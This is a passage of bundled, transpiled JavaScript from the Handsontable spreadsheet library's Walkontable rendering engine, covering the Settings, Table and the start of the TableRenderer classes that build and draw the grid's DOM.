descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Settings */ var Settings = /*#__PURE__*/ function () { /** * @param {Walkontable} wotInstance * @param {Object} settings */ function Settings(wotInstance, settings) { var _this = this; _classCallCheck(this, Settings); this.wot = wotInstance; // legacy support this.instance = wotInstance; // default settings. void 0 means it is required, null means it can be empty this.defaults = { table: void 0, debug: false, // shows WalkontableDebugOverlay // presentation mode externalRowCalculator: false, stretchH: 'none', // values: all, last, none currentRowClassName: null, currentColumnClassName: null, preventOverflow: function preventOverflow() { return false; }, // data source data: void 0, freezeOverlays: false, fixedColumnsLeft: 0, fixedRowsTop: 0, fixedRowsBottom: 0, minSpareRows: 0, // this must be array of functions: [function (row, TH) {}] rowHeaders: function rowHeaders() { return []; }, // this must be array of functions: [function (column, TH) {}] columnHeaders: function columnHeaders() { return []; }, totalRows: void 0, totalColumns: void 0, cellRenderer: function cellRenderer(row, column, TD) { var cellData = _this.getSetting('data', row, column); (0, _element.fastInnerText)(TD, cellData === void 0 || cellData === null ? '' : cellData); }, // columnWidth: 50, columnWidth: function columnWidth() {// return undefined means use default size for the rendered cell content }, rowHeight: function rowHeight() {// return undefined means use default size for the rendered cell content }, defaultRowHeight: 23, defaultColumnWidth: 50, selections: null, hideBorderOnMouseDownOver: false, viewportRowCalculatorOverride: null, viewportColumnCalculatorOverride: null, // callbacks onCellMouseDown: null, onCellContextMenu: null, onCellMouseOver: null, onCellMouseOut: null, onCellMouseUp: null, // onCellMouseOut: null, onCellDblClick: null, onCellCornerMouseDown: null, onCellCornerDblClick: null, beforeDraw: null, onDraw: null, onBeforeRemoveCellClassNames: null, onAfterDrawSelection: null, onBeforeDrawBorders: null, onScrollVertically: null, onScrollHorizontally: null, onBeforeTouchScroll: null, onAfterMomentumScroll: null, onBeforeStretchingColumnWidth: function onBeforeStretchingColumnWidth(width) { return width; }, onModifyRowHeaderWidth: null, onModifyGetCellCoords: null, // constants scrollbarWidth: 10, scrollbarHeight: 10, renderAllRows: false, groups: false, rowHeaderWidth: null, columnHeaderHeight: null, headerClassName: null }; // reference to settings this.settings = {}; (0, _object.objectEach)(this.defaults, function (value, key) { if (settings[key] !== void 0) { _this.settings[key] = settings[key]; } else if (value === void 0) { throw new Error("A required setting \"".concat(key, "\" was not provided")); } else { _this.settings[key] = value; } }); } /** * Update settings * * @param {Object} settings * @param {*} value * @returns {Walkontable} */ _createClass(Settings, [{ key: "update", value: function update(settings, value) { var _this2 = this; if (value === void 0) { // settings is object (0, _object.objectEach)(settings, function (settingValue, key) { _this2.settings[key] = settingValue; }); } else { // if value is defined then settings is the key this.settings[settings] = value; } return this.wot; } /** * Get setting by name * * @param {String} key * @param {*} param1 * @param {*} param2 * @param {*} param3 * @param {*} param4 * @returns {*} */ }, { key: "getSetting", value: function getSetting(key, param1, param2, param3, param4) { if (typeof this.settings[key] === 'function') { // this is faster than .apply - https://github.com/handsontable/handsontable/wiki/JavaScript-&-DOM-performance-tips return this.settings[key](param1, param2, param3, param4); } else if (param1 !== void 0 && Array.isArray(this.settings[key])) { // perhaps this can be removed, it is only used in tests return this.settings[key][param1]; } return this.settings[key]; } /** * Checks if setting exists * * @param {Boolean} key * @returns {Boolean} */ }, { key: "has", value: function has(key) { return !!this.settings[key]; } }]); return Settings; }(); var _default = Settings; exports.default = _default; /***/ }), /* 290 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _function = __webpack_require__(59); var _coords = _interopRequireDefault(__webpack_require__(75)); var _column = _interopRequireDefault(__webpack_require__(163)); var _row = _interopRequireDefault(__webpack_require__(164)); var _tableRenderer = _interopRequireDefault(__webpack_require__(291)); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * */ var Table = /*#__PURE__*/ function () { /** * @param {Walkontable} wotInstance * @param {HTMLTableElement} table */ function Table(wotInstance, table) { var _this = this; _classCallCheck(this, Table); this.wot = wotInstance; // legacy support this.instance = this.wot; this.TABLE = table; this.TBODY = null; this.THEAD = null; this.COLGROUP = null; this.tableOffset = 0; this.holderOffset = 0; (0, _element.removeTextNodes)(this.TABLE); this.spreader = this.createSpreader(this.TABLE); this.hider = this.createHider(this.spreader); this.holder = this.createHolder(this.hider); this.wtRootElement = this.holder.parentNode; this.alignOverlaysWithTrimmingContainer(); this.fixTableDomTree(); this.colgroupChildrenLength = this.COLGROUP.childNodes.length; this.theadChildrenLength = this.THEAD.firstChild ? this.THEAD.firstChild.childNodes.length : 0; this.tbodyChildrenLength = this.TBODY.childNodes.length; this.rowFilter = null; this.columnFilter = null; this.correctHeaderWidth = false; var origRowHeaderWidth = this.wot.wtSettings.settings.rowHeaderWidth; // Fix for jumping row headers (https://github.com/handsontable/handsontable/issues/3850) this.wot.wtSettings.settings.rowHeaderWidth = function () { return _this._modifyRowHeaderWidth(origRowHeaderWidth); }; } /** * */ _createClass(Table, [{ key: "fixTableDomTree", value: function fixTableDomTree() { this.TBODY = this.TABLE.querySelector('tbody'); if (!this.TBODY) { this.TBODY = document.createElement('tbody'); this.TABLE.appendChild(this.TBODY); } this.THEAD = this.TABLE.querySelector('thead'); if (!this.THEAD) { this.THEAD = document.createElement('thead'); this.TABLE.insertBefore(this.THEAD, this.TBODY); } this.COLGROUP = this.TABLE.querySelector('colgroup'); if (!this.COLGROUP) { this.COLGROUP = document.createElement('colgroup'); this.TABLE.insertBefore(this.COLGROUP, this.THEAD); } if (this.wot.getSetting('columnHeaders').length && !this.THEAD.childNodes.length) { this.THEAD.appendChild(document.createElement('TR')); } } /** * @param table * @returns {HTMLElement} */ }, { key: "createSpreader", value: function createSpreader(table) { var parent = table.parentNode; var spreader; if (!parent || parent.nodeType !== 1 || !(0, _element.hasClass)(parent, 'wtHolder')) { spreader = document.createElement('div'); spreader.className = 'wtSpreader'; if (parent) { // if TABLE is detached (e.g. in Jasmine test), it has no parentNode so we cannot attach holder to it parent.insertBefore(spreader, table); } spreader.appendChild(table); } spreader.style.position = 'relative'; return spreader; } /** * @param spreader * @returns {HTMLElement} */ }, { key: "createHider", value: function createHider(spreader) { var parent = spreader.parentNode; var hider; if (!parent || parent.nodeType !== 1 || !(0, _element.hasClass)(parent, 'wtHolder')) { hider = document.createElement('div'); hider.className = 'wtHider'; if (parent) { // if TABLE is detached (e.g. in Jasmine test), it has no parentNode so we cannot attach holder to it parent.insertBefore(hider, spreader); } hider.appendChild(spreader); } return hider; } /** * * @param hider * @returns {HTMLElement} */ }, { key: "createHolder", value: function createHolder(hider) { var parent = hider.parentNode; var holder; if (!parent || parent.nodeType !== 1 || !(0, _element.hasClass)(parent, 'wtHolder')) { holder = document.createElement('div'); holder.style.position = 'relative'; holder.className = 'wtHolder'; if (parent) { // if TABLE is detached (e.g. in Jasmine test), it has no parentNode so we cannot attach holder to it parent.insertBefore(holder, hider); } if (!this.isWorkingOnClone()) { holder.parentNode.className += 'ht_master handsontable'; } holder.appendChild(hider); } return holder; } }, { key: "alignOverlaysWithTrimmingContainer", value: function alignOverlaysWithTrimmingContainer() { var trimmingElement = (0, _element.getTrimmingContainer)(this.wtRootElement); if (!this.isWorkingOnClone()) { this.holder.parentNode.style.position = 'relative'; if (trimmingElement === window) { var preventOverflow = this.wot.getSetting('preventOverflow'); if (!preventOverflow) { this.holder.style.overflow = 'visible'; this.wtRootElement.style.overflow = 'visible'; } } else { this.holder.style.width = (0, _element.getStyle)(trimmingElement, 'width'); this.holder.style.height = (0, _element.getStyle)(trimmingElement, 'height'); this.holder.style.overflow = ''; } } } }, { key: "isWorkingOnClone", value: function isWorkingOnClone() { return !!this.wot.cloneSource; } /** * Redraws the table * * @param {Boolean} fastDraw If TRUE, will try to avoid full redraw and only update the border positions. If FALSE or UNDEFINED, will perform a full redraw * @returns {Table} */ }, { key: "draw", value: function draw(fastDraw) { var _this$wot = this.wot, wtOverlays = _this$wot.wtOverlays, wtViewport = _this$wot.wtViewport; var totalRows = this.instance.getSetting('totalRows'); var rowHeaders = this.wot.getSetting('rowHeaders').length; var columnHeaders = this.wot.getSetting('columnHeaders').length; var syncScroll = false; var runFastDraw = fastDraw; if (!this.isWorkingOnClone()) { this.holderOffset = (0, _element.offset)(this.holder); runFastDraw = wtViewport.createRenderCalculators(runFastDraw); if (rowHeaders && !this.wot.getSetting('fixedColumnsLeft')) { var leftScrollPos = wtOverlays.leftOverlay.getScrollPosition(); var previousState = this.correctHeaderWidth; this.correctHeaderWidth = leftScrollPos > 0; if (previousState !== this.correctHeaderWidth) { runFastDraw = false; } } } if (!this.isWorkingOnClone()) { syncScroll = wtOverlays.prepareOverlays(); } if (runFastDraw) { if (!this.isWorkingOnClone()) { // in case we only scrolled without redraw, update visible rows information in oldRowsCalculator wtViewport.createVisibleCalculators(); } if (wtOverlays) { wtOverlays.refresh(true); } } else { if (this.isWorkingOnClone()) { this.tableOffset = this.wot.cloneSource.wtTable.tableOffset; } else { this.tableOffset = (0, _element.offset)(this.TABLE); } var startRow; if (_base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_DEBUG) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_TOP) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_TOP_LEFT_CORNER)) { startRow = 0; } else if (_base.default.isOverlayTypeOf(this.instance.cloneOverlay, _base.default.CLONE_BOTTOM) || _base.default.isOverlayTypeOf(this.instance.cloneOverlay, _base.default.CLONE_BOTTOM_LEFT_CORNER)) { startRow = Math.max(totalRows - this.wot.getSetting('fixedRowsBottom'), 0); } else { startRow = wtViewport.rowsRenderCalculator.startRow; } var startColumn; if (_base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_DEBUG) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_LEFT) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_TOP_LEFT_CORNER) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_BOTTOM_LEFT_CORNER)) { startColumn = 0; } else { startColumn = wtViewport.columnsRenderCalculator.startColumn; } this.rowFilter = new _row.default(startRow, totalRows, columnHeaders); this.columnFilter = new _column.default(startColumn, this.wot.getSetting('totalColumns'), rowHeaders); this.alignOverlaysWithTrimmingContainer(); this._doDraw(); // creates calculator after draw } this.refreshSelections(runFastDraw); if (!this.isWorkingOnClone()) { wtOverlays.topOverlay.resetFixedPosition(); if (wtOverlays.bottomOverlay.clone) { wtOverlays.bottomOverlay.resetFixedPosition(); } wtOverlays.leftOverlay.resetFixedPosition(); if (wtOverlays.topLeftCornerOverlay) { wtOverlays.topLeftCornerOverlay.resetFixedPosition(); } if (wtOverlays.bottomLeftCornerOverlay && wtOverlays.bottomLeftCornerOverlay.clone) { wtOverlays.bottomLeftCornerOverlay.resetFixedPosition(); } } if (syncScroll) { wtOverlays.syncScrollWithMaster(); } this.wot.drawn = true; return this; } }, { key: "_doDraw", value: function _doDraw() { var wtRenderer = new _tableRenderer.default(this); wtRenderer.render(); } }, { key: "removeClassFromCells", value: function removeClassFromCells(className) { var nodes = this.TABLE.querySelectorAll(".".concat(className)); for (var i = 0, len = nodes.length; i < len; i++) { (0, _element.removeClass)(nodes[i], className); } } /** * Refresh the table selection by re-rendering Selection instances connected with that instance. * * @param {Boolean} fastDraw If fast drawing is enabled than additionally className clearing is applied. */ }, { key: "refreshSelections", value: function refreshSelections(fastDraw) { if (!this.wot.selections) { return; } var highlights = Array.from(this.wot.selections); var len = highlights.length; if (fastDraw) { var classesToRemove = []; for (var i = 0; i < len; i++) { var _highlights$i$setting = highlights[i].settings, highlightHeaderClassName = _highlights$i$setting.highlightHeaderClassName, highlightRowClassName = _highlights$i$setting.highlightRowClassName, highlightColumnClassName = _highlights$i$setting.highlightColumnClassName; var classNames = highlights[i].classNames; var classNamesLength = classNames.length; for (var j = 0; j < classNamesLength; j++) { if (!classesToRemove.includes(classNames[j])) { classesToRemove.push(classNames[j]); } } if (highlightHeaderClassName && !classesToRemove.includes(highlightHeaderClassName)) { classesToRemove.push(highlightHeaderClassName); } if (highlightRowClassName && !classesToRemove.includes(highlightRowClassName)) { classesToRemove.push(highlightRowClassName); } if (highlightColumnClassName && !classesToRemove.includes(highlightColumnClassName)) { classesToRemove.push(highlightColumnClassName); } } var additionalClassesToRemove = this.wot.getSetting('onBeforeRemoveCellClassNames'); if (Array.isArray(additionalClassesToRemove)) { for (var _i = 0; _i < additionalClassesToRemove.length; _i++) { classesToRemove.push(additionalClassesToRemove[_i]); } } var classesToRemoveLength = classesToRemove.length; for (var _i2 = 0; _i2 < classesToRemoveLength; _i2++) { // there was no rerender, so we need to remove classNames by ourselves this.removeClassFromCells(classesToRemove[_i2]); } } for (var _i3 = 0; _i3 < len; _i3++) { highlights[_i3].draw(this.wot, fastDraw); } } /** * Get cell element at coords. * * @param {CellCoords} coords * @returns {HTMLElement|Number} HTMLElement on success or Number one of the exit codes on error: * -1 row before viewport * -2 row after viewport */ }, { key: "getCell", value: function getCell(coords) { var row = coords.row; var column = coords.col; var hookResult = this.wot.getSetting('onModifyGetCellCoords', row, column); if (hookResult && Array.isArray(hookResult)) { var _hookResult = _slicedToArray(hookResult, 2); row = _hookResult[0]; column = _hookResult[1]; } if (this.isRowBeforeRenderedRows(row)) { // row before rendered rows return -1; } else if (this.isRowAfterRenderedRows(row)) { // row after rendered rows return -2; } var TR = this.TBODY.childNodes[this.rowFilter.sourceToRendered(row)]; if (TR) { return TR.childNodes[this.columnFilter.sourceColumnToVisibleRowHeadedColumn(column)]; } } /** * getColumnHeader * * @param {Number} col Column index * @param {Number} [level=0] Header level (0 = most distant to the table) * @returns {Object} HTMLElement on success or undefined on error */ }, { key: "getColumnHeader", value: function getColumnHeader(col) { var level = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var TR = this.THEAD.childNodes[level]; if (TR) { return TR.childNodes[this.columnFilter.sourceColumnToVisibleRowHeadedColumn(col)]; } } /** * getRowHeader * * @param {Number} row Row index * @returns {HTMLElement} HTMLElement on success or Number one of the exit codes on error: `null table doesn't have row headers` */ }, { key: "getRowHeader", value: function getRowHeader(row) { if (this.columnFilter.sourceColumnToVisibleRowHeadedColumn(0) === 0) { return null; } var TR = this.TBODY.childNodes[this.rowFilter.sourceToRendered(row)]; if (TR) { return TR.childNodes[0]; } } /** * Returns cell coords object for a given TD (or a child element of a TD element). * * @param {HTMLTableCellElement} TD A cell DOM element (or a child of one). * @returns {CellCoords|null} The coordinates of the provided TD element (or the closest TD element) or null, if the provided element is not applicable. */ }, { key: "getCoords", value: function getCoords(TD) { var cellElement = TD; if (cellElement.nodeName !== 'TD' && cellElement.nodeName !== 'TH') { cellElement = (0, _element.closest)(cellElement, ['TD', 'TH']); } if (cellElement === null) { return null; } var TR = cellElement.parentNode; var CONTAINER = TR.parentNode; var row = (0, _element.index)(TR); var col = cellElement.cellIndex; if ((0, _element.overlayContainsElement)(_base.default.CLONE_TOP_LEFT_CORNER, cellElement) || (0, _element.overlayContainsElement)(_base.default.CLONE_TOP, cellElement)) { if (CONTAINER.nodeName === 'THEAD') { row -= CONTAINER.childNodes.length; } } else if (CONTAINER === this.THEAD) { row = this.rowFilter.visibleColHeadedRowToSourceRow(row); } else { row = this.rowFilter.renderedToSource(row); } if ((0, _element.overlayContainsElement)(_base.default.CLONE_TOP_LEFT_CORNER, cellElement) || (0, _element.overlayContainsElement)(_base.default.CLONE_LEFT, cellElement)) { col = this.columnFilter.offsettedTH(col); } else { col = this.columnFilter.visibleRowHeadedColumnToSourceColumn(col); } return new _coords.default(row, col); } }, { key: "getTrForRow", value: function getTrForRow(row) { return this.TBODY.childNodes[this.rowFilter.sourceToRendered(row)]; } }, { key: "getFirstRenderedRow", value: function getFirstRenderedRow() { return this.wot.wtViewport.rowsRenderCalculator.startRow; } }, { key: "getFirstVisibleRow", value: function getFirstVisibleRow() { return this.wot.wtViewport.rowsVisibleCalculator.startRow; } }, { key: "getFirstRenderedColumn", value: function getFirstRenderedColumn() { return this.wot.wtViewport.columnsRenderCalculator.startColumn; } /** * @returns {Number} Returns -1 if no row is visible */ }, { key: "getFirstVisibleColumn", value: function getFirstVisibleColumn() { return this.wot.wtViewport.columnsVisibleCalculator.startColumn; } /** * @returns {Number} Returns -1 if no row is visible */ }, { key: "getLastRenderedRow", value: function getLastRenderedRow() { return this.wot.wtViewport.rowsRenderCalculator.endRow; } }, { key: "getLastVisibleRow", value: function getLastVisibleRow() { return this.wot.wtViewport.rowsVisibleCalculator.endRow; } }, { key: "getLastRenderedColumn", value: function getLastRenderedColumn() { return this.wot.wtViewport.columnsRenderCalculator.endColumn; } /** * @returns {Number} Returns -1 if no column is visible */ }, { key: "getLastVisibleColumn", value: function getLastVisibleColumn() { return this.wot.wtViewport.columnsVisibleCalculator.endColumn; } }, { key: "isRowBeforeRenderedRows", value: function isRowBeforeRenderedRows(row) { return this.rowFilter && this.rowFilter.sourceToRendered(row) < 0 && row >= 0; } }, { key: "isRowAfterViewport", value: function isRowAfterViewport(row) { return this.rowFilter && this.rowFilter.sourceToRendered(row) > this.getLastVisibleRow(); } }, { key: "isRowAfterRenderedRows", value: function isRowAfterRenderedRows(row) { return this.rowFilter && this.rowFilter.sourceToRendered(row) > this.getLastRenderedRow(); } }, { key: "isColumnBeforeViewport", value: function isColumnBeforeViewport(column) { return this.columnFilter && this.columnFilter.sourceToRendered(column) < 0 && column >= 0; } }, { key: "isColumnAfterViewport", value: function isColumnAfterViewport(column) { return this.columnFilter && this.columnFilter.sourceToRendered(column) > this.getLastVisibleColumn(); } }, { key: "isLastRowFullyVisible", value: function isLastRowFullyVisible() { return this.getLastVisibleRow() === this.getLastRenderedRow(); } }, { key: "isLastColumnFullyVisible", value: function isLastColumnFullyVisible() { return this.getLastVisibleColumn() === this.getLastRenderedColumn(); } }, { key: "getRenderedColumnsCount", value: function getRenderedColumnsCount() { var columnsCount = this.wot.wtViewport.columnsRenderCalculator.count; var totalColumns = this.wot.getSetting('totalColumns'); if (this.wot.isOverlayName(_base.default.CLONE_DEBUG)) { columnsCount = totalColumns; } else if (this.wot.isOverlayName(_base.default.CLONE_LEFT) || this.wot.isOverlayName(_base.default.CLONE_TOP_LEFT_CORNER) || this.wot.isOverlayName(_base.default.CLONE_BOTTOM_LEFT_CORNER)) { return Math.min(this.wot.getSetting('fixedColumnsLeft'), totalColumns); } return columnsCount; } }, { key: "getRenderedRowsCount", value: function getRenderedRowsCount() { var rowsCount = this.wot.wtViewport.rowsRenderCalculator.count; var totalRows = this.wot.getSetting('totalRows'); if (this.wot.isOverlayName(_base.default.CLONE_DEBUG)) { rowsCount = totalRows; } else if (this.wot.isOverlayName(_base.default.CLONE_TOP) || this.wot.isOverlayName(_base.default.CLONE_TOP_LEFT_CORNER)) { rowsCount = Math.min(this.wot.getSetting('fixedRowsTop'), totalRows); } else if (this.wot.isOverlayName(_base.default.CLONE_BOTTOM) || this.wot.isOverlayName(_base.default.CLONE_BOTTOM_LEFT_CORNER)) { rowsCount = Math.min(this.wot.getSetting('fixedRowsBottom'), totalRows); } return rowsCount; } }, { key: "getVisibleRowsCount", value: function getVisibleRowsCount() { return this.wot.wtViewport.rowsVisibleCalculator.count; } }, { key: "allRowsInViewport", value: function allRowsInViewport() { return this.wot.getSetting('totalRows') === this.getVisibleRowsCount(); } /** * Checks if any of the row's cells content exceeds its initial height, and if so, returns the oversized height * * @param {Number} sourceRow * @returns {Number} */ }, { key: "getRowHeight", value: function getRowHeight(sourceRow) { var height = this.wot.wtSettings.settings.rowHeight(sourceRow); var oversizedHeight = this.wot.wtViewport.oversizedRows[sourceRow]; if (oversizedHeight !== void 0) { height = height === void 0 ? oversizedHeight : Math.max(height, oversizedHeight); } return height; } }, { key: "getColumnHeaderHeight", value: function getColumnHeaderHeight(level) { var height = this.wot.wtSettings.settings.defaultRowHeight; var oversizedHeight = this.wot.wtViewport.oversizedColumnHeaders[level]; if (oversizedHeight !== void 0) { height = height ? Math.max(height, oversizedHeight) : oversizedHeight; } return height; } }, { key: "getVisibleColumnsCount", value: function getVisibleColumnsCount() { return this.wot.wtViewport.columnsVisibleCalculator.count; } }, { key: "allColumnsInViewport", value: function allColumnsInViewport() { return this.wot.getSetting('totalColumns') === this.getVisibleColumnsCount(); } }, { key: "getColumnWidth", value: function getColumnWidth(sourceColumn) { var width = this.wot.wtSettings.settings.columnWidth; if (typeof width === 'function') { width = width(sourceColumn); } else if (_typeof(width) === 'object') { width = width[sourceColumn]; } return width || this.wot.wtSettings.settings.defaultColumnWidth; } }, { key: "getStretchedColumnWidth", value: function getStretchedColumnWidth(sourceColumn) { var columnWidth = this.getColumnWidth(sourceColumn); var width = columnWidth === null || columnWidth === void 0 ? this.instance.wtSettings.settings.defaultColumnWidth : columnWidth; var calculator = this.wot.wtViewport.columnsRenderCalculator; if (calculator) { var stretchedWidth = calculator.getStretchedColumnWidth(sourceColumn, width); if (stretchedWidth) { width = stretchedWidth; } } return width; } /** * Modify row header widths provided by user in class contructor. * * @private */ }, { key: "_modifyRowHeaderWidth", value: function _modifyRowHeaderWidth(rowHeaderWidthFactory) { var widths = (0, _function.isFunction)(rowHeaderWidthFactory) ? rowHeaderWidthFactory() : null; if (Array.isArray(widths)) { widths = _toConsumableArray(widths); widths[widths.length - 1] = this._correctRowHeaderWidth(widths[widths.length - 1]); } else { widths = this._correctRowHeaderWidth(widths); } return widths; } /** * Correct row header width if necessary. * * @private */ }, { key: "_correctRowHeaderWidth", value: function _correctRowHeaderWidth(width) { var rowHeaderWidth = width; if (typeof width !== 'number') { rowHeaderWidth = this.wot.getSetting('defaultColumnWidth'); } if (this.correctHeaderWidth) { rowHeaderWidth += 1; } return rowHeaderWidth; } }]); return Table; }(); var _default = Table; exports.default = _default; /***/ }), /* 291 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _console = __webpack_require__(76); var _templateLiteralTag = __webpack_require__(58); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _templateObject() { var data = _taggedTemplateLiteral(["Performance tip: Handsontable rendered more than 1000 visible rows. Consider limiting the number \n of rendered rows by specifying the table height and/or turning off the \"renderAllRows\" option."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var performanceWarningAppeared = false; /** * @class TableRenderer */ var TableRenderer = /*#__PURE__*/ function () { /** * @param {WalkontableTable} wtTable */ function TableRenderer(wtTable) { _classCallCheck(this, TableRenderer); this.wtTable = wtTable; this.wot = wtTable.instance; // legacy support this.instance = wtTable.instance; this.rowFilter = wtTable.rowFilter; this.columnFilter = wtTable.columnFilter; this.TABLE = wtTable.TABLE; this.THEAD = wtTable.THEAD; this.TBODY = wtTable.TBODY; this.COLGROUP = wtTable.COLGROUP; this.rowHeaders = []; this.rowHeaderCount = 0; this.columnHeaders = []; this.columnHeaderCount = 0; this.fixedRowsTop = 0; this.fixedRowsBottom = 0; } /** * */ _createClass(TableRenderer, [{ key: "render", value: function render() { if (!this.wtTable.isWorkingOnClone()) { var skipRender = {}; this.wot.getSetting('beforeDraw', true, skipRender); if (skipRender.skipRender === true) { return; } } this.rowHeaders = this.wot.getSetting('rowHeaders'); this.rowHeaderCount = this.rowHeaders.length; this.fixedRowsTop = this.wot.getSetting('fixedRowsTop'); this.fixedRowsBottom = this.wot.getSetting('fixedRowsBottom'); this.columnHeaders = this.wot.getSetting('columnHeaders'); this.columnHeaderCount = this.columnHeaders.length; var columnsToRender = this.wtTable.getRenderedColumnsCount(); var rowsToRender = this.wtTable.getRenderedRowsCount(); var totalColumns = this.wot.getSetting('totalColumns'); var totalRows = this.wot.getSetting('totalRows'); var workspaceWidth; var adjusted = false; if (_base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_BOTTOM) || _base.default.isOverlayTypeOf(this.wot.cloneOverlay, _base.default.CLONE_BOTTOM_LEFT_CORNER)) { // do NOT render headers on the bottom or bottom-left corner overlay this.columnHeaders = []; this.columnHeaderCount = 0; } if (totalColumns >= 0) { // prepare COL and TH elements for rendering this.adjustAvailableNodes(); adjusted = true; // adjust column widths according to user widths settings this.renderColumnHeaders(); // Render table rows this.renderRows(totalRows, rowsToRender, columnsToRender); if (!this.wtTable.isWorkingOnClone()) { workspaceWidth = this.wot.wtViewport.getWorkspaceWidth(); this.wot.wtViewport.containerWidth = null; } this.adjustColumnWidths(columnsToRender); this.markOversizedColumnHeaders(); this.adjustColumnHeaderHeights(); } if (!adjusted) { this.adjustAvailableNodes(); } this.removeRedundantRows(rowsToRender); if (!this.wtTable.isWorkingOnClone() || this.wot.isOverlayName(_base.default.CLONE_BOTTOM)) { this.markOversizedRows(); } if (!this.wtTable.isWorkingOnClone()) { this.wot.wtViewport.createVisibleCalculators(); this.wot.wtOverlays.refresh(false); this.wot.wtOverlays.applyToDOM(); var hiderWidth = (0, _element.outerWidth)(this.wtTable.hider); var tableWidth = (0, _element.outerWidth)(this.wtTable.TABLE); if (hiderWidth !== 0 && tableWidth !== hiderWidth) { // Recalculate the column widths, if width changes made in the overlays removed the scrollbar, thus changing the viewport width. this.adjustColumnWidths(columnsToRender); } if (workspaceWidth !== this.wot.wtViewport.getWorkspaceWidth()) { // workspace width changed though to shown/hidden vertical scrollbar. Let's reapply stretching this.wot.wtViewport.containerWidth = null; var firstRendered = this.wtTable.getFirstRenderedColumn(); var lastRendered = this.wtTable.getLastRenderedColumn(); var defaultColumnWidth = this.wot.getSetting('defaultColumnWidth'); var rowHeaderWidthSetting = this.wot.getSetting('rowHeaderWidth'); rowHeaderWidthSetting = this.instance.getSetting('onModifyRowHeaderWidth', rowHeaderWidthSetting); if (rowHeaderWidthSetting !== null && rowHeaderWidthSetting !== void 0) { for (var i = 0; i < this.rowHeaderCount; i++) { var width = Array.isArray(rowHeaderWidthSetting) ? rowHeaderWidthSetting[i] : rowHeaderWidthSetting; width = width === null || width === void 0 ? defaultColumnWidth : width; this.COLGROUP.childNodes[i].style.width = "".concat(width, "px"); } } for (var _i = firstRendered; _i < lastRendered; _i++) { var _width = this.wtTable.getStretchedColumnWidth(_i); var renderedIndex = this.columnFilter.sourceToRendered(_i); this.COLGROUP.childNodes[renderedIndex + this.rowHeaderCount].style.width = "".concat(_width, "px"); } } this.wot.getSetting('onDraw', true); } else if (this.wot.isOverlayName(_base.default.CLONE_BOTTOM)) { this.wot.cloneSource.wtOverlays.adjustElementsSize(); } } /** * @param {Number} renderedRowsCount */ }, { key: "removeRedundantRows", value: function removeRedundantRows(renderedRowsCount) { while (this.wtTable.tbodyChildrenLength > renderedRowsCount) { this.TBODY.removeChild(this.TBODY.lastChild); this.wtTable.tbodyChildrenLength -= 1; } } /** * @param {Number} totalRows * @param {Number} rowsToRender * @param {Number} columnsToRender */ }, { key: "renderRows", value: function 